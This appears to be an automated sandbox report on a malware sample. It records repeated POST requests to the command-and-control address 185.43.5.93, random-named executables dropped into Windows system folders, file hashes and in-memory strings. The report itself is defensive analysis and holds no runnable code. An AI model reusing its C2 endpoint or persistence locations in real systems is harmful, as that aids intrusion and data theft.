Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 1048Expect: 100-continue

Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93
Source: unknown	TCP traffic detected without corresponding DNS query: 185.43.5.93

Source: unknown

HTTP traffic detected: POST /5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: 185.43.5.93Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000250C000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000257B000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.5.93
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.5.93/5/4Datalife/asynccpu3Generator/
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000250C000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000027DC000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.000000000257B000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.0000000002639000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.php
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000024F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.43.5.93/5/4Datalife/asynccpu3Generator/VmPipePollHttpgeoprocessserver.phptxye
Source: pPTyCqA3ru.exe, 0000000C.00000002.2818393278.0000000002933000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3302655841.00000000023F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.00000000125B7000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000013313000.00000004.00000800.00020000.00000000.sdmp, PfjsOcNiQfAmiszo.exe, 00000012.00000002.3306485908.0000000012560000.00000004.00000800.00020000.00000000.sdmp, ZFfbtcutmx.18.dr, W7PM2DQyUZ.18.dr, VEW9A1EszE.18.dr, VEAyO7Ny5R.18.dr, TvFZ4Odsaw.18.dr, ztZbyfXzHG.18.dr, g1RM1Cc1Yc.18.dr, 5GJpMsUiX7.18.dr, 4AJOvNjv94.18.dr, oW10my8Vk5.18.dr, Lvn0AwoiAY.18.dr, CwwFd3Elg2.18.dr, GqcwqXOahh.18.dr, 1ZeA5e2seG.18.dr, 8LXmt5osz2.18.dr, VmIEG1A40a.18.dr, hjoumFda20.18.dr, wTAdJq2utv.18.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

.NET source code contains very large strings

Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, s67.cs

Long String: Length: 97628

Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Code function: 10_2_00007FF64C401494 LocalAlloc,NtQuerySystemInformation,LocalFree,LocalAlloc,LocalFree,		10_2_00007FF64C401494
Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Code function: 10_2_00007FF64C401348 NtQuerySystemInformation,		10_2_00007FF64C401348

Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe

Code function: 10_2_00007FF64C401A44: CreateFileW,DeviceIoControl,CloseHandle,FindFirstVolumeW,FindFirstVolumeMountPointW,memcpy,GetVolumeNameForVolumeMountPointW,GetVolumeNameForVolumeMountPointW,GetLastError,RemoveDirectoryW,FindNextVolumeMountPointW,FindVolumeMountPointClose,FindNextVolumeW,FindVolumeClose,FindVolumeMountPointClose,FindVolumeClose,

10_2_00007FF64C401A44

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Resources\Ease of Access Themes\PfjsOcNiQfAmiszo.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Resources\Ease of Access Themes\f6900929d627b7	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	File created: C:\Windows\Prefetch\ReadyBoot\f6900929d627b7	Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E3820	0_2_001E3820
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D0350	0_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D3450	0_2_001D3450
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F2820	0_2_001F2820
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001C78ED	0_2_001C78ED
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001EB120	0_2_001EB120
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E8200	0_2_001E8200
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001DFAF0	0_2_001DFAF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E52E0	0_2_001E52E0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E9B80	0_2_001E9B80
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001CF3C0	0_2_001CF3C0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F83C2	0_2_001F83C2
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00206460	0_2_00206460
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001EBD10	0_2_001EBD10
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D1D4E	0_2_001D1D4E
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E55B0	0_2_001E55B0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001C5E50	0_2_001C5E50
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_00204E72	0_2_00204E72
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001C4E60	0_2_001C4E60
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001DB6D0	0_2_001DB6D0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E46D0	0_2_001E46D0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E7EF0	0_2_001E7EF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_0020A782	0_2_0020A782
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001E8FD0	0_2_001E8FD0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001D6FC0	0_2_001D6FC0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001DEFF0	0_2_001DEFF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 0_2_001F3FE0	0_2_001F3FE0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E3820	5_2_001E3820
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F2820	5_2_001F2820
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001C78ED	5_2_001C78ED
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001EB120	5_2_001EB120
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E8200	5_2_001E8200
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001DFAF0	5_2_001DFAF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E52E0	5_2_001E52E0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D0350	5_2_001D0350
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E9B80	5_2_001E9B80
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001CF3C0	5_2_001CF3C0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F83C2	5_2_001F83C2
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00206460	5_2_00206460
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D3450	5_2_001D3450
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001EBD10	5_2_001EBD10
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D1D4E	5_2_001D1D4E
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E55B0	5_2_001E55B0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001C5E50	5_2_001C5E50
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_00204E72	5_2_00204E72
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001C4E60	5_2_001C4E60
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001DB6D0	5_2_001DB6D0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E46D0	5_2_001E46D0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E7EF0	5_2_001E7EF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_0020A782	5_2_0020A782
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001E8FD0	5_2_001E8FD0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001D6FC0	5_2_001D6FC0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001DEFF0	5_2_001DEFF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 5_2_001F3FE0	5_2_001F3FE0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00402320	6_2_00402320
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0040CF8F	6_2_0040CF8F
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_004050C0	6_2_004050C0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00420470	6_2_00420470
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0040FCF0	6_2_0040FCF0
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00419D19	6_2_00419D19
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0041951B	6_2_0041951B
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00415635	6_2_00415635
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_0041DEC3	6_2_0041DEC3
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: 6_2_00404F00	6_2_00404F00
Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Code function: 10_2_00007FF64C401754	10_2_00007FF64C401754
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F21EC3	12_2_00007FF848F21EC3
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F31D55	12_2_00007FF848F31D55
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Code function: 12_2_00007FF848F908E1	12_2_00007FF848F908E1
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF848F31EC3	18_2_00007FF848F31EC3
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF848F41D55	18_2_00007FF848F41D55
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84911FC4A	18_2_00007FF84911FC4A
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84912338D	18_2_00007FF84912338D
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF8491210A2	18_2_00007FF8491210A2
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Code function: 18_2_00007FF84911F4CD	18_2_00007FF84911F4CD

Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe 38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
Source: Joe Sandbox View	Dropped File: C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe 38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
Source: Joe Sandbox View	Dropped File: C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe 38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: String function: 001F6220 appears 84 times
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: String function: 00407D30 appears 55 times
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Code function: String function: 001FA8B8 appears 40 times

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 268

Source: KyC6hVwU8Z.exe	Binary or memory string: OriginalFilename vs KyC6hVwU8Z.exe
Source: KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs KyC6hVwU8Z.exe
Source: KyC6hVwU8Z.exe, 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMOUNTVOL.EXEj% vs KyC6hVwU8Z.exe

Source: KyC6hVwU8Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: KyC6hVwU8Z.exe

Static PE information: Section: .back ZLIB complexity 1.0003138373136389

Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, E32.cs	Cryptographic APIs: 'TransformBlock'
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, E32.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, E32.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, s67.cs	Base64 encoded string: 